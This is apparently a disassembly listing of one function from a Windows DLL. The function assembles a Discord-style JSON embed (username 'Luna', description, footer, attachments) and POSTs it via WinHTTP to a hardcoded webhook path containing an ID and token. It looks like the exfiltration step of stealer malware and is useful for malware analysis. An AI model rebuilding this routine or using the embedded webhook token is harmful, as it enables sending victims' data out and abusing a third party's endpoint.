Function at 0x180005820
Capabilities:
Prepare http request
Receive http response

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x18]
sub rsp, 0x118
mov rax, qword [0x180041080]
xor rax, rsp
mov qword [rbp + 8], rax
mov rsi, r9
mov rdi, r8
mov rbx, rdx
mov r14, rcx
xor r15d, r15d
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str.api_webhooks_1198394760184987678_oQ_xGZkWWCcsW0c_FB7sbtdJta6jzRafu2Dsb10Y2NsvWXMoV6XpEkaiN11G6dkxjoV9
lea rdx, str.POST
mov rcx, qword [rcx + 8]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [r14 + 0x10], rax
mov rcx, qword [rbx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0x3a
jb 0x180005d5f
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1800058ab
mov rax, qword [rbx]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x3a
lea r9, str._username_:__Luna___content_:_null__embeds_:___title_:__
mov r8, rbx
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp - 0x78]
call fcn.180003010
nop
mov rcx, qword [rbp - 0x68]
mov rdx, qword [rbp - 0x60]
mov rax, rdx
sub rax, rcx
cmp rax, 0x12
jb 0x180005922
lea rax, [rcx + 0x12]
mov qword [rbp - 0x68], rax
lea rbx, [rbp - 0x78]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x78]
add rbx, rcx
mov r8d, 0x12
lea rdx, str.___description_:__
mov rcx, rbx
call fcn.18002c630
mov byte [rbx + 0x12], 0
lea rax, [rbp - 0x78]
jmp 0x180005946
mov qword [rsp + 0x20], 0x12
lea r9, str.___description_:__
movzx r8d, byte [rsp + 0x40]
mov edx, 0x12
lea rcx, [rbp - 0x78]
call fcn.180002280
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0xf
jbe 0x180005981
mov rdi, qword [rdi]
mov rdx, rdi
lea rcx, [rbp - 0x18]
call fcn.180007700
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x80]
mov rax, rdx
sub rax, rcx
cmp rax, 0x31
jb 0x180005a0e
lea rax, [rcx + 0x31]
mov qword [rsp + 0x78], rax
lea rbx, [rsp + 0x68]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x68]
add rbx, rcx
mov r8d, 0x31
lea rdx, str.___footer_:__text_:__github.com_Luna___color_:
mov rcx, rbx
call fcn.18002c630
mov byte [rbx + 0x31], 0
lea rax, [rsp + 0x68]
jmp 0x180005a33
mov qword [rsp + 0x20], 0x31
lea r9, str.___footer_:__text_:__github.com_Luna___color_:
movzx r8d, byte [rsp + 0x40]
mov edx, 0x31
lea rcx, [rsp + 0x68]
call fcn.180002280
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 0xf
jbe 0x180005a6e
mov rsi, qword [rsi]
mov rdx, rsi
lea rcx, [rbp - 0x38]
call fcn.180007700
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x58], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov rax, rdx
sub rax, rcx
cmp rax, 0x16
jb 0x180005afc
lea rax, [rcx + 0x16]
mov qword [rsp + 0x58], rax
lea rbx, [rsp + 0x48]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x48]
add rbx, rcx
mov r8d, 0x16
lea rdx, str.____attachments_:___
mov rcx, rbx
call fcn.18002c630
mov byte [rbx + 0x16], 0
lea rax, [rsp + 0x48]
jmp 0x180005b21
mov qword [rsp + 0x20], 0x16
lea r9, str.____attachments_:___
movzx r8d, byte [rsp + 0x40]
mov edx, 0x16
lea rcx, [rsp + 0x48]
call fcn.180002280
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x48], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x180005b8b
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005b86
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005d65
call fcn.18000ca90
movdqa xmm0, xmmword [0x18002fc90]
movdqu xmmword [rsp + 0x58], xmm0
mov byte [rsp + 0x48], 0
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x180005bd9
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005bd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005d6b
call fcn.18000ca90
movdqa xmm0, xmmword [0x18002fc90]
movdqu xmmword [rbp - 0x28], xmm0
mov byte [rbp - 0x38], 0
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x180005c26
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005c21
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005d71
call fcn.18000ca90
movdqa xmm0, xmmword [0x18002fc90]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x180005c74
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005c6f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005d77
call fcn.18000ca90
movdqa xmm0, xmmword [0x18002fc90]
movdqu xmmword [rbp - 8], xmm0
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x180005cc0
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005cbb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005d7d
call fcn.18000ca90
lea r9, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova r9, qword [rbp - 0x58]
mov qword [rsp + 0x30], r15
mov rax, qword [rbp - 0x48]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_json_r_n
mov rcx, qword [r14 + 0x10]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x180005d06
xor edx, edx
mov rcx, qword [r14 + 0x10]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x180005d3d
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005d38
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005d59
call fcn.18000ca90
mov rcx, qword [rbp + 8]
xor rcx, rsp
call fcn.18000cbb0
add rsp, 0x118
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.18001392c
int3
call fcn.1800076c0
nop
call fcn.18001392c
nop
call fcn.18001392c
nop
call fcn.18001392c
nop
call fcn.18001392c
nop
call fcn.18001392c
int3